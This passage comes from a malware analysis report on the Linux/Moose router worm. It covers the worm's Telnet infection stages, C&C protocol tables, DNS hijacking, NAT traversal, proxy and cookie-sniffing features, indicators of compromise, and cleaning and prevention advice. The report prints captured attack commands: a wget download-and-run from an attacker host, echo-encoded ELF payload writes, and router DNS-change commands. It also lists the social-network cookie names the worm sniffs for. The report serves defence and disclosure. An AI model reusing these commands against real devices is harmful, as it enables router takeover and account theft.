Here is captured interaction of the successful first stage of the infection process performed by the scanning worm.
Note that this is all automated and not performed interactively by the operator.
A couple of things are done here: Obtaining an interactive shell on the target victim Testing whether the echo command works Looking at the process list (ps) for itself and for competing botnets Making sure chmod is present Gathering the contents of /proc/cpuinfo At this point, Moose has not yet infected its new victim.
It will then send a message to the report CC server with what it has learned so far about the target victim: Table 3.
Report shell access protocol Name Size Description Version Integer (4 bytes) Version of the malware Message type Integer (4 bytes) Set to 15, meaning console access was obtained IP address Integer (4 bytes) IP address of the victim User/pass entry Integer (4 bytes) The offset of the username and password used to gain entry to the router sh BusyBox v1.00 (2013.12.12-03:560000) Built-in shell (msh) Enter help for a list of built-in commands.
ps PID Uid VmSize Stat Command 1 admin 468 S init [...] echo -n -e H3lL0WoRlD H3lL0WoRlD chmod BusyBox v1.00 (2013.12.12-03:560000) multi-call binary Usage: chmod [-R] MODE[,MODE]...
FILE... Each MODE is one or more of the letters ugoa, one of the symbols - and one or more of the letters rwxst.
Options: -R Changes files and directories recursively.
cat /proc/cpuinfo [...] system type : MIPS Malta processor : 0 cpu model : MIPS 24Kc V0.0 FPU V0.0 [...] 27 Dissecting Linux/Moose Name Size Description Victim details Bit field (4 bytes) Details about the victim.
See infect_state enumeration to see what information it holds.
Unused 20 bytes Unused CPU Model size Integer (4 bytes) Size of the CPU Model string CPU Model CPU Model size bytes The obfuscated cpu model: line out of /proc/cpuinfo Processor size Integer (4 bytes) Size of the Processor string Processor Processor size bytes The obfuscated processor: line out of /proc/cpuinfo Bit field about the infection state enum infect_state NO_CHMOD  (1  0), // set if chmod command is not present NO_ECHO  (1  1), // set if echo command is not present FOUND_NEAR_SCAN  (1  2), // set if victim was found during a near /15 scan PS_BLKLST_HIT  (1  7), // set if a process-to-kill is found in the list // of running processes  The report CC server responds with obfuscated commands to execute on the victim: Table 4.
Report shell access response Name Size Description Command size Integer (4 bytes) Size of the command string Command command size bytes The obfuscated command to be sent to the victim repeat  Integer (4 bytes) command size bytes Zero or more commands until the terminator below Terminator Integer (4 bytes) Always 0.
Ends the sequence of commands Second stage We now enter the second stage of infection.
Each command is decrypted and executed on the victim via Telnet.
Typically, this consists of a download and execute but the architecture is flexible and would allow any arbitrary commands to be executed.
28 Dissecting Linux/Moose Weve witnessed two main class of commands sent to perform the infection.
The first one is a classic download and execute using wget: The second technique is encoding the binary into several echo commands that are executed on the victim and redirecting output into a file that is later executed: No matter the method, by that point the victim has been infected: it will reach the configuration CC server, obtain its configuration parameters, and start its nefarious activities.
This two-stage mechanism allows for the report CC server to specify a URL to an ELF binary that will match the architecture and environment found by the various checks it performed.
Plus, it enables the operators to add support for new target platforms without having to upgrade their botnet  but only their distribution methods on the report CC server.
Mooses Excentricity   Optional Behaviors We just described the most common scanning behavior, but its configuration can alter how it is performed.
Here a summary of some of those configuration flags and their effects: Table 5.
Partial List of Mooses Configuration Flags Configuration parameter Description cnccfg_flag_scanner_sniffer If this flag is disabled there will be no per-interface scanner cnccfg_flag_nolocalscan Disables the closely related IP address network scan cnccfg_flag_noextscan Disables the random IP address scan cd /var rm ./elan2 rm: cannot remove ./elan2: No such file or directory wget http://77.247.177.36:81/xx/atheros_mips/elan2 Connecting to 77.247.177.36[77.247.177.36]:81 200 OK, File Get Success chmod x ./elan2 ./elan2 Sys init: OK Status: OK cp /bin/ls /dev/elan2 echo -n -e \x7f\x45\x4c\x46\x01\x01\x01\x61\x00\x00\x00\x00\x00\x00\x00\x00\ \x02\x00\x28\x00\x01\x00\x00\x00\x90\x81\x00\x00\x34\x00\x00\x00\xb4\xe9\x01\ \x00\x02\x00\x00\x00\x34\x00\x20\x00\x03\x00\x28\x00\x0d\x00  /dev/elan2 echo -n -e \x9d\xe8\xbc\x1d\x03\x00\x44\x90\x02\x00\x94\xd8\x02\x00\xa4\x1d\ \x03\x00\x0d\xc0\xa0\xe1\x00\xd8\x2d\xe9\x04\xb0\x4c\xe2\xa4\xd0\x4d\xe2\xa8\ \x00\x0b\xe5\x01\x30\xa0\xe1\xac\x30\x4b\xe5\x01\x30\xa0\xe3  /dev/elan2 ... echo -n -e \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x5c\xe9\x01\x00\x56\x00\ \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00  / dev/elan2 chmod x /dev/elan2 /dev/elan2 Sys init: OK Status: OK 29 Dissecting Linux/Moose Configuration parameter Description cnccfg_flag_test10073 Dont try to connect to TCP port 10073 first.
Try Telnet port directly.
cnccfg_flag_share_peers Do not communicate to the report CC server when infected peers are found (through TCP on 10073) Moose Grand Theft Auto  DNS Hijacking Lastly three parameters require more explanation cnccfg_flag_hijackdns, cnccfg_hijackdns1_ip and cnccfg_hijackdns2_ip.
If the first parameter is enabled, it will run the following commands on the Telnet console before trying to obtain a shell.
The s s is replaced with the two DNS IPaddresses provided in the configuration.
The code attempts to replace the legitimate DNS servers used by the target router with malicious servers.
However there are a lot of different text-based user interfaces for such devices.
This probably explains why it is attempting to do so using more than one method.
Quick googling reveals that at least some of TP-Link, Zyxel, Zhone and Netgear models support one of these commands.
The code is not concerned with error-handling, it will resume execution after the DNS hijacking attempt regardless of any errors encountered.
This method of scanning is a straightforward yet effective way of finding new targets to copromise.
Going for IP addresses nearby is clever and probably yields to higher infection rate because it might be scanning past firewalls as we will cover in the next section.
5.2.
Going Deep in the Tundra  Spreading Past Firewalls One of the most interesting aspects of this threat is its ability to go deep inside networks, trying hard to spread past firewalls.
Two different mechanisms will be at play here: first, a spreading mechanism that understands the realities of large network firewall configurations and second, support for custom NAT traversal.
This section will describe both behaviors.
What is DNS Hijacking?
DNS Hijacking consists of changing the DNS servers used by a victim in order to perform other attacks like phishing or man-in-the-middle.
DNS servers do the domain name to IP address translation.
A malicious DNS server can change (or hijack) that translation so that any legitimate domain name will resolve to an IP address of the attackers choice.
This means that traffic intended for a certain specified address may be redirected to another, entirely unrelated address.
set lan dhcp server set lan dhcpdns s s dns config static s s save http://forum.tp-link.com/showthread.php3F75896-Exploit-changes-DNS-settings-and-disable-LAN-interfaces http://kote.host.ge/network/modems/zyxel_dsl_router/ http://www.zhone.com/support/manuals/docs/62/6211-A2-GB23-00.pdf http://www.foxnetwork.ru/index.php/en/component/content/article/123-netgear-jdgn1000.html http://en.wikipedia.org/wiki/NAT_traversal 30 Dissecting Linux/Moose Scanning close to home As we mentioned earlier, the configuration CC server returns the public IP address it saw when it was contacted by the infected router.
This IP address is then used as a basis for near-home scanning on the Telnet port.
The IP addresses reached this way are random, but all inside the same /15 network of the infected routers public IP.
This can effectively bypass firewalls on the perimeter and allow the worm to spread further copies of itself.
Figure 14 Scan from the Internet or near home The above diagram illustrates why the operators focus more on the near home scanning.
Black lines represent network connectivity and yellow arrows represent network interactions.
Here we highlighted: 1.
An infected router trying to spread from across the Internet cant get past the firewall 2.
An infected router able to propagate past a badly firewalled router that is exposing its Telnet service to the whole Internet 3.
How, due to the near home scan, routers behind the same network have a greater chance of being quickly found and infected if the firewall is allowing Telnet from the same network.
Internet Same provider network misconfigured consumer router misconfigured firewall misconfigured consumer router misconfigured consumer router misconfigured consumer router 1 2 2 33 31 Dissecting Linux/Moose During our monitoring of an infected device we saw that Telnet access was 3 times more successful when scanning for near-home IP addresses than when scanning random IP addresses on the Internet.
We think this difference is explained by NAT and misconfigured firewalls.
This doesnt surprise us given the complexity of modern networks and the amount of firewall rules they need.
Furthermore, a study of firewall rules by Avishai Wool demonstrated a correlation between the complexity and volume of firewall rules and the number of errors made in their configuration  badly locked- down Telnet access being one of the errors mentioned in the study.
Additionally, the worm will launch an extra scanner thread per IP interface present on the system, carefully avoiding /32 IPs (IP aliases) and loopback interfaces (like 127.0.0.1): Figure 15 Netmask check Figure 16 Loopback check This enables the worm to spread inside Local Area Networks (LANs) that are not normally accessible from the Internet due to the use of firewalls and network address translation (NAT).
On successful infection, the newly-compromised machine will spawn scanners on its own internal IP interfaces and thus go deeper inside the private network.
This type of automated network pivoting is very interesting for a couple of reasons: Some networks assume perimeter that firewalls are enough protection and often tolerate the use of weak credentials internally Routers are the highly connected vertices of the Internet graph.
Access to them means access to previously unreachable vertices.
All sort of networks could be revealed to the operators: 3rd party vendors, business partners, private clouds, extranets, etc.
Network provider equipment has been traditionally managed via Telnet Consumer devices in-the-field tend to reset to factory defaults, which render them vulnerable even if provider had applied due diligence by changing default credentials https://www.eng.tau.ac.il/yash/05440153.pdf http://en.wikipedia.org/wiki/Exploit_2528computer_security252923Pivoting http://cheswick.com/ches/map/gallery/index.html 32 Dissecting Linux/Moose Custom NAT traversal Another interesting capability related to network penetration is the custom NAT traversal implementation.
It could be categorized as a simple implementation of the concepts behind the Session Traversal Utilities for NAT (STUN) and Traversal Using Relays around NAT (TURN) standards.
The configuration given by the configuration CC server to the infected host provides both its public IP address and the address of a system that is going to be used as a relay (relay CC server).
During our analysis of the threat the relay CC IP address was always the same: 93.190.140.221.
The configuration values affecting the behavior of the NAT traversal are the following: Table 6.
Moose Configuration Values Affecting the Behavior of the NAT Traversal Configuration parameter Description cnccfg_flag_nattraversal NAT traversal is or is not enabled cnccfg_relaycnc_ip Relay CC IP address cnccfg_relaycnc_sleep Number of seconds to sleep in case of protocol failure with the relay CC server cnccfg_relaycnc_timeout Number of seconds to wait for data from the relay CC server.
Default: 300 We will explain where these values come from when we will describe the configuration CC network protocol further along.
If NAT traversal is enabled, two threads are created at start-up that are dedicated to reach the relay CC server.
The relay is queried at short intervals (defined by cnccfg_relaycnc_sleep) for anything to proxy through the infected host.
The server replies either with one IP address and port (for outreach) or multiple pairs of IP addresses and ports (for relay).
First the infected device reaches out to the relay with this hardcoded packet: The server responds with the following structure: Table 7.
Moose relay CC server response Name Size Description Command Short (2 bytes) Command given to the infected host to execute.
See table below.
Destination port Short (2 bytes) Tunnel destination port (network order) Destination IP address Integer (4 bytes) Tunnel destination IP address (network order) 18 00 00 00 http://en.wikipedia.org/wiki/STUN http://en.wikipedia.org/wiki/Traversal_Using_Relays_around_NAT 33 Dissecting Linux/Moose Table 8.
Moose NAT traversal supported commands Command Action 0x0016 Sleep 0x0017 Multiple tunnel 7 Anything else TCP tunnel is created between relay CC server and destination IP address and port For example: 00 00 00 50 c0 a8 01 01 \-1-/ \-2-/ \----3----/ 1.
Mode requested by relay CC server.
ex: TCP Tunnel 2.
Tunnel destination port (network order).
ex: 80 3.
Tunnel destination IP address (network order).
ex: 192.168.1.1 The infected host will then connect on the tunnel destination it has received.
Upon successful connection, it will hand over the two sockets to a thread dedicated to move the data back and forth between the tunnel destination and the relay CC server.
Figure 17 NAT traversal tunnel in action 7 The multiple tunnel packet format varies from the simple TCP tunnel.
Due to time constraints it was not documented.
Interested readers should look at virtual address 0x405A4C of the bfc2a99450977dc7ba2ec0879fb17c612e248ece sample.
34 Dissecting Linux/Moose This way, even if a host is unreachable from the Internet because of firewalls or NAT, the operators can still use the infected host.
During our monitoring of the threat, we saw tunnels being made to reach social networks.
However, most of the time, the server was seen to respond with a TCP reset (RST) and sometimes sleep commands.
5.2.
Moose Crossing  Proxy Service One of the first thing Linux/Moose does is to start listening on TCP port 10073 for incoming connections.
As was previously discussed, this server is used by the bot to assess whether a system is infected.
When some Linux/Moose scanner thread reaches an opened 10073 port, it will result in a TCP handshake without a data payload.
However when we look at the code, we find that a limited number of IP addresses are allowed through: Figure 18 Moose Whitelist Validation Assembly The is_in_whitelist function makes sure that the source IP address of the connection is in a list of IP address given by the configuration CC server earlier.
If it is, then the socket and some configuration is passed to a thread that will handle the connection.
Note  The whitelist These are the only IP addresses allowed to interact with the malware.
According to our monitoring, the addresses in the list havent changed in months but it will likely be modified after the operators become aware of this report.
These servers could be either operator-owned or compromised.
The current whitelist of IP addresses is available in the appendix sections under Indicators of Compromise (IOC).
The presence of a whitelist and the fallback behavior of closing the socket after a successful TCP handshake implies that we cant enumerate infected hosts by scanning the whole Internet on port10073.
35 Dissecting Linux/Moose Proxy Server Worker The proxy server worker thread processes the connection from a whitelisted IP address.
Upon connection the server will read a single byte.
Depending on that command byte, one of four things can happen: Table 9.
Proxy Server Worker Commands First byte Proxy technique 0x04 SOCKS 4 0x05 SOCKS 5 I, i, p, P, g, G, c, C HTTP Proxy (with HTTPS support) Otherwise Connection is closed These are all classic protocols to use when one wants to have Internet traffic appear as if it was originating from the infected device.
The worm uses this approach to leverage the good IP address reputation of big internet service providers (ISP) clients with regards to casual browsing like viewing ads, send emails or interact with social networks.
Doing any of these activities in bulk from a few data-center IP addresses would draw unwanted attention.
http://www.openssh.com/txt/socks4.protocol http://tools.ietf.org/html/rfc1928 36 Dissecting Linux/Moose SOCKS 4 Proxy The implementation of the SOCKS 4 proxy is according to specifications.
It enables the establishment of a TCP tunnel from the infected server to a host specified by the connecting party.
After the initial handshake, traffic is sent transparently back and forth between the client of the infected service and the specified host.
Figure 19 Example of a SOCKS 4 tunnel Here you can see the SOCKS exchange (1) with the tunnel destination information.
Once the infected host replied that the connection is successful (0x5a) then the client (botnet operator) sends its HTTP request (2) to have it proxied through the infected machine.
The infected host will finally return the response it received from the tunnel destination (3).
In this case, it is a request to upgrade to HTTPS via a Location header.
This has been by far the most active protocol while we have been monitoring.
SOCKS 5 Proxy Very similar to SOCKS 4, SOCKS 5 is a protocol to allow TCP tunnels to be created between the servers client and an arbitrary host.
The malwares implementation is incomplete and only supports 37 Dissecting Linux/Moose the No authentication authentication method.
This partial support is likely to be enough for the operators since they already have the whitelist mechanism in place to prevent unwanted hosts from accessing the malware.
We believe it was implemented in order to support a maximum number of client applications.
HTTP Proxy The HTTP proxy is a basic yet complete HTTP/1.1 proxy.
It looks at the HTTP headers, resolves the destination host, connects to it and sends the data back to the client.
It will also honor the CONNECT method if it is present enabling HTTPS to be proxied through.
Figure 20 Looking for CONNECT method Whichever proxy technique is used, anything that tries to deal with destination TCP ports 25 (SMTP), 465 (STMPS) or 587 (Submission) will require a special flag to be set in the whitelist configuration sent by the configuration CC server.
Most of the whitelisted server have this flag turned off.
The mechanisms described above allow the botnet operator to leverage the good IP reputation of the infected devices in a very lightweight, flexible and inconspicuous manner.
5.4.
Mooses Sense of Smell  Sniffing Capabilites Linux/Moose is able to eavesdrop on traffic going through affected devices.
This is a particularly interesting capability considering that routers are often forward all sorts of traffic.
This section will describe this behavior.
Enabling, this functionality requires two different configuration flags to be set: cnccfg_flag_ scanner_sniffer and cnccfg_flag_thd_sniffer.
When set, these will spawn a sniffer thread on all non-loopback interfaces that have received at least 101 packets.
This check is done in order to avoid creating threads for interfaces that will not carry potentially interesting traffic.
http://en.wikipedia.org/wiki/HTTP_tunnel23HTTP_CONNECT_tunneling 38 Dissecting Linux/Moose The thread dedicated to eavesdropping is rather simple.
It creates a raw socket, sets the interface in promiscuous mode, then loops on a recvfrom as depicted below.
Figure 21 Sniffing Network Traffic In order to avoid doing too much work, only TCP packets are inspected.
They are searched for strings that were sent by the configuration CC server as snfcfg_id_needle in the network protocol analysis detailed later.
Currently the network sniffers are configured to search for the following strings: twll twid LOGIN_INFO c_user ds_user_id SAPISID APISID PLAY_ACTIVE_ACCOUNT 39 Dissecting Linux/Moose As previously mentioned, these are the HTTP cookies used by popular social network sites.
Once a match is found, the whole packet including its Ethernet, IP, TCP headers and payload is sent, obfuscated, to the report CC server.
The exact format is described below.
Table 10.
Report sniffed packet Name Size Description Version Integer (4 bytes) Version of the malware Message type Integer (4 bytes) Set to 20 meaning the sniffer found a string it was looking for in the network traffic Packet size Integer (4 bytes) Size of the sniffed packet Unused 28 bytes Unused Packet Packet size bytes Encrypted raw packet containing the string of interest The reply packet is: Table 11.
Response to a report sniffed packet Name Size Description Unknown field Integer (4 bytes) Usage unknown.
Message type Integer (4 bytes) Same as in the request (20) Packet size Integer (4 bytes) Same as in the request Unused 28 bytes Unused This mechanism is very interesting.
It is lightweight enough to run on small embedded devices and yet it gives a lot of contextual information to the operators to do all sort of mischief by stealing important data.
5.5.
Competitive Moose  Cleaning other Malware Moose is a combative animal.
Every hour, it goes through every process entry under /proc/pid/ and searches thoroughly through the cmdline file.
cmdline holds the process original name, and any arguments given to it at startup, separated by null bytes (0x00).
Going through this list, it will send a kill signal to any process that matches any of the blacklisted strings.
This blacklist, as opposed to many of the other characteristics of this malware, is hardcoded in the binary.
This function requires a configuration flag to be set: cnccfg_flag_killprocess.
During our monitoring of the threats traffic this flag was always on.
Here is the blacklist: --scrypt stratumtcp:// cmd.so /Challenge /.usb2 /.scan /.ipt 40 Dissecting Linux/Moose All these entries are related to digital currency mining operations  something performed by other embedded threats.
Killing these processes is probably done to make sure that all of the limited resources of the system are available to Linux/Moose.
The cmd.so string seems specific to the Synology Disk Miner.
/.usb2, /.scan and ./ipt all lead to the same ARM Linux miner worm.
Most of these other worms also leverage weak or default credentials, so it makes sense that they try to get rid of each other.
5.6.
Moose Communication  Configuration CC Server Protocol We are giving a very detailed description of the network protocol to enable affected organizations to apply this knowledge to their defense mechanism.
The operators of Linux/Moose can recompile and modify binaries to avoid detection but modifying their network protocol takes more time, which is why we share this information in the hopes of negatively affecting their operation.
Below is the protocol described in text aimed at describing the components interactions.
To deobfuscate quickly the traffic that was captured, we refer you to our malware-research repository on Github where we added tshark commands and Python code to see the traffic described below.
There are two typical exchanges with the configuration CC server.
One is done every hour and one is done every four hours.
The only difference between the two exchanges is that they update different variables in the client.
However almost all of the data is still sent by the CC.
The only difference is that the username and password list used for bruteforce attacks is omitted in the hourly run.
Here is what a configuration exchange with the configuration CC server looks like: Figure 22 Capture of a Configuration Exchange with CC http://www.symantec.com/connect/blogs/iot-worm-used-mine-cryptocurrency http://www.symantec.com/connect/blogs/iot-worm-used-mine-cryptocurrency http://www.virusradar.com/en/Linux_Svirtu.A/description https://github.com/eset/malware-research/tree/master/moose/ https://github.com/eset/malware-research/tree/master/moose/ 41 Dissecting Linux/Moose The structure of the data sent to the configuration CC server is the following: Table 12.
Moose requests to configuration CC server Name Size Description Version Integer (4 bytes) Version of the malware Message type Integer (4 bytes) Set to 1 meaning bot configuration Loop Count Integer (4 bytes) Number of times the main loop ran.
Indicates the age of the infection.
Local scans Integer (4 bytes) The number of IP addresses that was scanned in near-home mode External scans Integer (4 bytes) The number of IP addresses that was scanned in random mode Per-interface scans Integer (4 bytes) The number of IP addresses that was scanned in per-interface mode Killed processes Integer (4 bytes) The number of killed processes Bot details Bit field (4 bytes) More information about the bot state.
See cnc_request_flags enumeration to see what information it holds.
Unused 8 bytes Unused Bit field about the bot details The server replies with the configuration for the malware.
It is composed of independent blocks of configuration information with some being optional.
The high-level protocol takes the following form: Table 13.
Moose configuration CC server response Name Size Description Header 44 bytes Header with bot configuration information Bruteforce list size Integer (4 bytes) Optional field.
Size of the username and password list used to compromise other devices Bruteforce list Bruteforce list size bytes Optional field.
Encrypted username and password list used to compromise other devices.
It is requested by the bot every 4 hours.
Whitelist size Integer (4 bytes) Size of the whitelist of IPs allowed to contact the proxy service on port 10073.
Whitelist Whitelist size x 8 bytes The whitelist enum cnc_request_flags BRUTEFORCE_LIST  (1  0), // Set if bot wants the username and password list WRITE_ACCESS  (1  1), // Set if filesystem is writable.
Deprecated.
TIME_PROBLEM  (1  7), // Set if time syscall returned 0 or an error.
//
New in v31.
42 Dissecting Linux/Moose Name Size Description Sniffer configuration size Integer (4 bytes) Optional field.
Number of configuration entries given to the eavesdrop module.
Sniffer configuration Variable size Optional field.
Configuration given to the eavesdrop module.
Table 14.
Moose header configuration CC server response Name Size Description External IP address Integer (4 bytes) External IP address of the infected device (as seen by the CC) Number of local scanner threads Integer (4 bytes) Number of threads that will perform closely related IP address scan Number of remote scanner threads Integer (4 bytes) Number of threads that will perform random IP address scan Additional configuration Bit field (4 bytes) More configuration on/off switches packed into a bit field.
Expanded in cnc_config_flags enum below.
Proxy max clients Integer (4 bytes) Maximum number of simultaneous proxy requests accepted on port 10073.
Default: 20 Relay CC Sleep Integer (4 bytes) Number of seconds to sleep in case of protocol failure with the relay CC server Report CC server IP address Integer (4 bytes) IP address to use as the report CC server Relay CC server IP address Integer (4 bytes) IP address to use as the relay CC server Relay CC server timeout Integer (4 bytes) Number of seconds to wait for data from the relay CC server.
Default: 300 DNS server IP address 1 Integer (4 bytes) If DNS Hijacking is enabled, this holds the first DNS server IP address DNS server IP address 2 Integer (4 bytes) If DNS Hijacking is enabled, this holds the second DNS server IP address 43 Dissecting Linux/Moose Where these flags can be enabled or not in the additional configuration field: Each item of the whitelist is sent in the following format.
The number of entries is the previously described whitelist size.
Table 15.
Moose whitelist item Name Size Description IP address Integer (4 bytes) IP address allowed to connect on proxy service on TCP port 10073 Email Integer (4 bytes) If bit 1 of this field is set to 1 then the server is also allowed to use destination ports 25, 465 or 587 (standard email ports).
Each item of the sniffer configuration is sent in the following format.
The number of entries is the previously described sniffer configuration size.
Table 16.
Moose sniffer configuration item Name Size Description Sniffer configuration item size Integer (4 bytes) Size of the configuration entry Sniffer configuration Sniffer configuration item size bytes Encrypted string pattern that the sniffer thread looks for in network traffic.
Here is the example configuration shown in the screenshot after being parsed by our Python tool (username and password list skipped for brevity): enum cnc_config_flags SCANNER_SNIFFER  (1  0), // If set, additional scanner and sniffer threads // are created per network interface NOLOCALSCAN  (1  1), // If set, no closely related IPs scan is performed NOEXTSCAN  (1  2), // If set, no random IPs scan is performed TEST_10073  (1  3), // If set, infected peer detection is enabled NATTRAVERSAL  (1  4), // If set, threads dedicated to NAT Traversal are // created (only once) RECONTACT_CNC  (1  5), // If set, will recontact the configuration CC // server shortly (instead of 4hrs) HIJACKDNS  (1  6), // If set, modify the DNS configuration of victims // on new infections THD_SNIFFER  (1  7), // If set, the eavesdrop component is activated KILLPROCESS  (1  10), // If set, will kill competing malware processes SHARE_PEERS  (1  11), // If set, will share found peers to report // CC server  44 Dissecting Linux/Moose An example request to the configuration CC server An example response from the configuration CC server ./parse_cnc_request.py cfgcnc.raw cnc_request_flags.
BRUTEFORCE_LIST: True, cnc_request_flags.
WRITE_ACCESS: True, loop_count: 453, msg_type: 1, msg_type_decoded: REQUEST_CONFIG, nb_extscans: 294, nb_ifscans: 9, nb_killed: 0, nb_localscans: 571, version: 28 ./parse_cnc_config.py 4h cfgcnc-response.raw cnccfg_ext_ip: redacted, cnccfg_flag_hijackdns: False, cnccfg_flag_killprocess: True, cnccfg_flag_nattraversal: True, cnccfg_flag_noextscan: False, cnccfg_flag_nolocalscan: False, cnccfg_flag_recontactcnc: True, cnccfg_flag_scanner_sniffer: True, cnccfg_flag_share_peers: False, cnccfg_flag_test10073: True, cnccfg_flag_thd_sniffer: True, cnccfg_hijackdns1_ip: 0, cnccfg_hijackdns2_ip: 0, cnccfg_nb_thdscan_ext: 10, cnccfg_nb_thdscan_local: 20, cnccfg_proxy_max_clients: 5, cnccfg_relaycnc_ip: 93.190.140.221, cnccfg_relaycnc_sleep: 10, cnccfg_relaycnc_timeout: 600, cnccfg_reportcnc_ip: 85.159.237.107, snfcfg_00_needle:  twll, snfcfg_01_needle:  twid, snfcfg_02_needle:  LOGIN_INFO, snfcfg_03_needle:  c_user, snfcfg_04_needle:  ds_user_id, snfcfg_05_needle:  SAPISID, snfcfg_06_needle:  APISID, snfcfg_07_needle:  PLAY_ACTIVE_ACCOUNT, snfcfg_nb_items: 8, userpass_list_len: 4475, ..., whitelist_len: 57, whlst_00_can_email: False, whlst_00_ip: 77.247.177.31, whlst_01_can_email: True, whlst_01_ip: 85.159.237.107, whlst_02_can_email: False, whlst_02_ip: 85.159.237.108, whlst_03_can_email: True, whlst_03_ip: 192.168.1.3, ..., whlst_56_can_email: False, whlst_56_ip: 103.238.216.218 45 Dissecting Linux/Moose 5.7.
Evolution of the Species Malware changelog Version 20 First version we encountered ARM variant Version 28 to 29 Rotation of 3 different configuration CC server IP addresses instead of one hardcoded Improved Telnet connection handling Improved Telnet prompt detection Version 29 to 31 Better handling of low memory situations New configuration CC server request flag: 0x80: TIME_PROBLEM 46 Dissecting Linux/Moose 6.
CONCLUSION Linux/Moose is a novelty when you consider that most embedded threats these days are used to perform DDoS attacks.
Considering the rudimentary techniques used by Moose in order to gain access to other devices, it is unfortunate that the security of embedded devices isnt taken more seriously by vendors.
With the increasing connectivity and proliferation of Linux-based devices, something will need to be done in that area.
We hope that this publication will help vendors better understand how the malicious actors are targeting their devices.
As knowledgeable IT people, most of us already check if patches are installed or if anti-virus software is updated and operating when we visit friends and relatives.
With all the embedded threats out there, we will need to add a quick check of their router to that to-do list.
Consider contributing to our potentially targeted vendor list if you find anything.
Unfortunately, this type of animal is far from extinct.
47 Dissecting Linux/Moose APPENDIX A: MALWARE SAMPLES Here are the SHA1 hashes, architecture and malware version of the files weve encountered: Table 17.
Malware Samples File Hash Architecture/ABI Version 10e2f7dd4b2bb4ac9ab2b0d136f48e5dc9acc451 ARM GNU EABI 20 095ee85aa648de4e557fc243de17d4f00ab2091f ARM GNU EABI 20 bfc2a99450977dc7ba2ec0879fb17c612e248ece MIPS MIPS32 28 54041ce90b04698465b866ed169ddf4a269e1e76 MIPS MIPS32 LSB 28 d648c405507ad62ddb3faa1dd37f659f3676cacf ARM EABI5 28 85c3439b6773241d11cda78f0ecfea4c07e55fd2 ARM EABI5 28 216014dba6f1a636c44530fbce06c598d3cf7fa1 ARM EABI5 29 4bffc0ebfe8c373f387eb01a7c5e2835ec8e8757 MIPS MIPS32 29 dd7e8211336aa02851f6c67690e2301b9c84bb26 MIPS MIPS32 31 https://www.virustotal.com/latest-scan/10e2f7dd4b2bb4ac9ab2b0d136f48e5dc9acc451 https://www.virustotal.com/latest-scan/095ee85aa648de4e557fc243de17d4f00ab2091f https://www.virustotal.com/latest-scan/bfc2a99450977dc7ba2ec0879fb17c612e248ece https://www.virustotal.com/latest-scan/54041ce90b04698465b866ed169ddf4a269e1e76 https://www.virustotal.com/latest-scan/d648c405507ad62ddb3faa1dd37f659f3676cacf https://www.virustotal.com/latest-scan/85c3439b6773241d11cda78f0ecfea4c07e55fd2 https://www.virustotal.com/latest-scan/216014dba6f1a636c44530fbce06c598d3cf7fa1 https://www.virustotal.com/latest-scan/4bffc0ebfe8c373f387eb01a7c5e2835ec8e8757 https://www.virustotal.com/latest-scan/dd7e8211336aa02851f6c67690e2301b9c84bb26 48 Dissecting Linux/Moose APPENDIX B: INDICATORS OF COMPROMISE (IOCS) Network-based Indicators Traffic patterns Traffic from infected device to these IP:ports combinations using TCP Traffic from these IP addresses (the whitelist) going to infected device on TCP port 10073 Host-based Indicators The presence of a binary named elan2 Process elan2 running A process listening on 0.0.0.0:10073 77.247.177.36:81 93.190.140.221:80 85.159.237.107:81 85.159.237.108:81 77.247.177.87:81 27.124.41.11 27.124.41.31 27.124.41.31 27.124.41.33 27.124.41.33 27.124.41.52 27.124.41.52 42.119.173.138 77.247.177.31 77.247.177.36 77.247.178.177 79.176.26.142 82.146.63.15 85.159.237.107 85.159.237.108 85.159.237.111 85.159.237.111 93.190.139.123 93.190.139.147 93.190.140.221 93.190.142.113 93.190.143.60 103.238.216.21 103.238.216.216 103.238.216.217 103.238.216.218 103.238.216.22 103.238.216.23 103.238.216.24 103.238.216.25 103.238.216.26 103.238.216.28 103.238.216.29 103.238.216.30 103.238.216.31 109.201.148.136 109.201.148.201 109.201.148.241 109.236.86.18 109.236.89.208 192.126.184.234 207.244.67.193 217.23.12.124 217.23.2.249 217.23.2.251 217.23.2.252 217.23.2.253 217.23.2.30 217.23.2.47 217.23.2.48 217.23.2.49 217.23.2.52 217.23.2.79 217.23.7.133 217.23.7.211 49 Dissecting Linux/Moose This last indicator can be verified using netstat -anp.
Depending on system configuration the -p flag might not be available.
If its not, then you can look for lsof or try manually correlating the content of /proc/net/tcp/ with /proc/pid/fd as explained here.
Detection (yara) In order to identify if a file or a set of files is the Linux/Moose threat you can use the popular yara tool.
Using the linux-moose.yar Yara rule available from our github repository you can recursively crawl a directory for Linux/Moose with: If the command yields no output then no files were identified to be Linux/Moose.
Otherwise identified filenames are printed.
Further modifications made by the malware author to evade detection will impact the usefulness of this Yara rule over time.
yara -r linux-moose.yar directory/ http://serverfault.com/questions/219984/busybox-netstat-no-p https://github.com/eset/malware-ioc/tree/master/moose/ 50 Dissecting Linux/Moose APPENDIX C: CLEANING Reboot the affected device then change its password as soon as possible.
Keep in mind, however, that the compromised system was accessible via credentials that the operators knew, that they were aware of its IP address and they had means to access its interactive console.
They might have had manual access, which means that further infection is possible, including permanent firmware modifications (the link is in German).
A factory reset, firmware update or reinstall and password change is probably best.
http://www.heise.de/ct/artikel/Aufstand-der-Router-1960334.html http://www.heise.de/ct/artikel/Aufstand-der-Router-1960334.html 51 Dissecting Linux/Moose APPENDIX D: PREVENTION Change default passwords on network equipment even if it is not reachable from the Internet.
Disable Telnet login and use SSH where possible.
Make sure that your router is not accessible from the Internet on ports 22 (SSH), 23 (Telnet), 80(HTTP) and 443 (HTTPS).
If you are unsure about how to perform this test, when you are at home, use the common ports scan from the ShieldsUP service from GRC.com.
Make sure that the above mentioned ports receive a Stealth or Closed status.
Running the latest firmware available from your embedded device vendor is also recommended.
https://www.grc.com/shieldsup 52 Dissecting Linux/Moose APPENDIX E: POTENTIALLY TARGETED VENDORS Note  To obtain the latest version of this list check our malware-research github page We have cross-referenced the list of usernames and passwords that Moose uses in order to spread with a list of vendors known to have these as default credentials and confirmed that some of their products have Telnet access enabled.
